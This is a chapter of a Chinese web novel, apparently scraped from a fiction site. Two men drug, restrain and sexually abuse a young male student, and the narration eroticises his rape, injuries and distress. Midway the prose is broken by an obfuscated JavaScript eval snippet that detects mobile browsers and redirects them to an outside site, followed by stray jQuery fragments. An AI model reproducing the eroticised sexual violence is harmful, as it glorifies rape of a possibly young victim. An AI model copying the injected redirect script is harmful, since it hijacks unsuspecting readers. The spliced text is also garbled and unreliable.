144.造反后放飞笼中雀鸟(四十三)

作品:《炮灰演绎手册I

    时微醒来时,四周漆黑一片。


    嗓子火辣辣的疼,身上像要散架了般,每根骨头都叫嚣着疼痛。


    他艰难地爬了起来,支起身体的一瞬间便落了下去,瘦巧的骨头磕在地上,疼得他轻轻吸气。


    腰腹往下酸软得不像话,带着被碾压过般的痛意。


    仅仅是试图坐起这个动作就让他如此狼狈,时微喘息着放弃起身,蜷缩在冷硬的地面上,瘦弱的身体慢慢蜷缩起来。


    好疼。


    哪里都好疼。


    少年把自己缩得小小的,像一个躺在母亲怀中的婴儿,似乎这样就能获得一丝安全感。


    然而,尾椎骨以下的位置因为他的动作传来阵阵痛楚,一刻不停地提醒着少年晕过去前遭受的淫辱。


    少年的手指动了动,神经质地在掌心抠了两下。


    门被突然推开,房间内瞬间亮如白昼,不止一个人的脚步声在耳边响了起来,时微挣扎着抬起头,入目是模糊不清的残影。


    他的眼睛哭了太久,现在还没有恢复。


    “醒了?”里斯冰冷的声音在头顶响起。


    时微有一瞬间的耳鸣,他的身体在听到男人的声音后不自主地开始发抖。


    在他身上肆意揉弄的宽大手掌,难以忍受的折磨凌虐,那些侮辱亵玩的话语……


    无数画面在脑中交织着回放。


    小腹又开始坠坠地疼,似乎还残留着被弄满的感觉。时微胃里一阵翻江倒海,忍不住小声干呕,却什么也吐不出来。


    被过度使用的喉咙声音破碎,时微似乎听到了面前人的轻笑,下巴被男人捏住,向上抬起。


    原本柔顺的发丝现在有些凌乱,可怜兮兮地垂在肩上,时微双手撑在地上,看起来无助又迷茫。


    这样的神态落进在场的几人眼中,下腹很快便爬上了些难忍的炽热。


    “……”里斯似乎都被他这样委屈的姿态弄得失语,男人不知沉默了多久,才辱亵般地拍拍他的脸,笑着问他,“时微,你在找cao?”


    看着自己手中粉白发烫的脸因为他的动作浮起几道红印,唇角破损带着被使用后的青痕,里斯很快又起了反应。


    他舔了舔后牙,开过荤的身体食髓知味,恨不得立刻就将时微按在身下,被身后令人生厌的声音冷冷打断:“别做多余的事,我很忙。”


    完全陌生的声音。


    时微的眼睫轻轻眨了下,泛着水汽的眼下意识循着声音看向说话的人,却只能看见一个和里斯一样高大的模糊影子。


    少年睫羽颤颤的样子实在漂亮又可爱,因为发着高烧,睫毛下盖着的淡金双眼水雾朦胧,白皙光裸的肩膀连着腰沟,无瑕美丽的身体现在布满斑驳痕迹,大片的深红青紫,淫靡不堪。


    看着就是被人压在身下狠狠凌虐过的样子。


    卡哈尔顿了顿,觉得喉咙有些干涩。


    那天在回廊下远远看过时微一眼后,少年的资料很快被副官整理好发送到他的光脑。


    原来他不是里斯的情人,而是奥维林所有人捧在手心的天才小宝贝。


    卡哈尔用某种手段找到了时微近战课上的录像,看了一遍又一遍,没人知道他对这个厉害又美丽的少年起了什么样的心思。


    他开始留意起了时微。


    男人原本是不着急的,毕竟他清楚里斯的德行,他在等待着这只纯洁白鸽的沦落,然后像鬣狗一样,将可怜的猎物抢走。


    然而,在看到里斯竟然试图披上一层好人的皮,像个正常人一样追求时微后,卡哈尔感到无比的荒谬。


    伴随的是焦躁和危机。


    如果里斯真的成功,时微和他两情相悦,那他会永远地失去时微。


    于是,卡哈尔派人拿走了时微的抑制剂,又向奥维林施加压力。


    种种手段,只是为了将幼鸟逼出巢穴,暴露在野鹰犀利的视线中。


    他成功了,里斯如他所愿地强.暴了时微。


    哪怕在之后,里斯反应过来这一切都是卡哈尔的手段,却也只能捏着鼻子跟他合作。


    毕竟,时微的天赋太强悍了。


    他并不需要这份强悍,少年只需要像现在这样,柔弱又可怜地在床上张开双腿,乖顺地等待主人的宠爱。


    卡哈尔的话提醒了里斯。


    他知道自己这次被卡哈尔算计了,但也并不觉得愤怒。


    也许是得到时微的感觉太过愉悦,让他不由得开始后悔——为什么不在一开始就抓住这只美丽的白鸽?


    做好人果然与他的形象不符,里斯捏着时微的下巴,掏出几管玻璃针剂递到少年面前,笑着问他,“眼不眼熟?”


    时微又眨了下眼,他费力地辨认着里斯手中的东西是什么,等看清后,他干涩的唇颤了颤,带着擦伤的手指握住里斯的腕,沙哑着声音开口:“你为什么会有这个……你把导师们怎么了?”


    里斯看着他焦急的样子,嘲讽地笑了一声,沉下脸:“你还有空关系别人?忘了自己现在的处境了?”


    说着,滚烫的手指贴上不着寸缕的肩,里斯挑开一管药剂的盖子,冰冷的针尖逼近少年濒死天鹅般扬起的颈项。


    时微意识到他要做什么,圆润的眼瞳收缩了下,下意识挣扎起来。


    卡哈尔上前按住他挥动的手臂,按着他的肩膀将人压在地上。


    少年骨骼纤细,被他捏在掌心的手腕完美又秀气,只是因为前一天戴过镣铐,如雪的肤上此时叠了道道血痕。


    那双曾经在对战中灵活健康的腿,此刻软绵绵地搭在地上,随着挣扎的动作小幅度地晃动着,印着无数狰狞的吻痕牙印。


    好像很无力的模样。


    卡哈尔眼眸一深。大手攥住少年的足踝轻轻摩挲。


    时微一向很敏感,只是现在,他无暇顾及卡哈尔轻亵的动作。


    青涩又美艳的脸庞无助地抬着,时微被扣住肩膀按在地上,他没有再挣动的能力,于是,珍珠般的泪水再次滚落。


    因为过激被磨的靡红的唇颤抖着张开,被那样残忍对待都没有求过饶的时微,终于崩溃地细声哀求:“不要……不要用这个……求求你……”


    这是导师们出于关爱为特意制造的,满盈着长辈爱意的药剂。时微第一次从导师手中接过它们的时候是那么开心。


    “求你,不要……”他摇着头,晶莹的泪从下巴滴落,滚进他深深凹陷的锁骨,在颈窝中聚起一捧浅浅的湖。


    “不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16706341|171793||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要这么对我……”


    回应他的是针管扎入颈侧时尖锐的刺痛。


    时微骤然睁大了眼。


    整管药剂被全部注射进少年血管,里斯将空掉的针剂扔到一旁,随即是第二支、第三支。


    越来越多的空针管被丢到地上,时微瞳孔涣散,本就发着烧的身体更加滚烫。


    卡哈尔松开了手,少年立刻发着抖蜷缩起来,瘦弱的背上,脊骨如花苞般节节突起。


    “呜……”压抑不住的颤抖呻吟从齿缝间溢了出来,过量的药剂让他全身火热起来,脊髓里像是有无数细小的蚂蚁,顺着神经密密麻麻地涌进他的精神海。


    呼吸也变得急促,脆弱的胸口不住起伏,那双往日亮晶晶的浅金眼瞳蒙上了一层潮湿的雾。


    时微感受到自己的身体被打开,男人压在他的身上,用调笑的语气问他:“给你打的是精神力抑制剂,打完后怎么像只发春的母猫?”


    少年只是张着嘴呼吸,他的意识一阵模糊,连像样的声音都发不出来,只有混着啜泣的呻吟溢出齿关。


    里斯看着他,嘴角扯出一抹残忍的笑。


    他将手指伸到少年唇边,揉弄那片薄软的红,指尖陷入,在碰到湿润口腔后被小猫一样的力道轻轻咬住。


    “很难受吗?”男人声音低沉,带着虚伪的怜惜,“这只是开始。”


    说完,他和卡哈尔对视一眼。


    冰凉的贴片贴上少年汗湿的额角,接下来是手腕和脚踝,剧烈激荡的精神海被连通的一瞬间,连卡哈尔的脸上都露出了一秒的惊艳。


    这是他们见过的最漂亮的精神海。


    金色的涌浪一层叠着一层,还没探进,就能感受到堪称可怕的力量。


    卡哈尔表情沉肃,他摸着时微的脸,说出对少年的第一句话:“幸好你还没彻底成长。”


    “如果再给你一点时间,我们两个都不会是你的对手。”


    话音落下,狠戾的精神力冲进时微震荡的精神海中。


    这是一场堪称屠杀的压制,因为抑制剂的缘故,时微的精神力痛苦地纠缠在一起,面对突如其来的侵入毫无还手能力。


    “啊——呜呜……”


    细瘦的腰肢不受控制地弓起,又无力地落下,时微哭叫着,晶莹的水液从嘴角溢出,沿着脸颊滑到耳边,沾湿那片柔软的头发。


    他能听见自己脑中的哀鸣。


    曾经总是活跃的的力量如潮水般渐渐退去了,遗留下的是堪称干涸的河床,时微在挣扎间抓破了里斯的手,苍白的指尖染上点点血迹。


    直到最后,伤痕累累的手臂脱力地摔在地上。原本白净的脸上现在凌乱不堪,时微眼神失焦,张着嫣红的唇,呼吸时胸膛起伏的弧度几不可见。


    他已经很可怜、很凄惨了,然而,这种残虐中诞生的美艳更加令人心折。


    身上的贴片被人揭了下来,时微那细得仿佛一折就断的四肢颤抖地痉挛。


    卡哈尔沉默地站在他的面前,将布满薄汗的躯体拢入怀中。


    他抬眼看向失去笑意的里斯,不发一言。


    里斯的表情不算好看,良久,男人冷笑一声。


    共享时微,这是卡哈尔向他要求的报酬。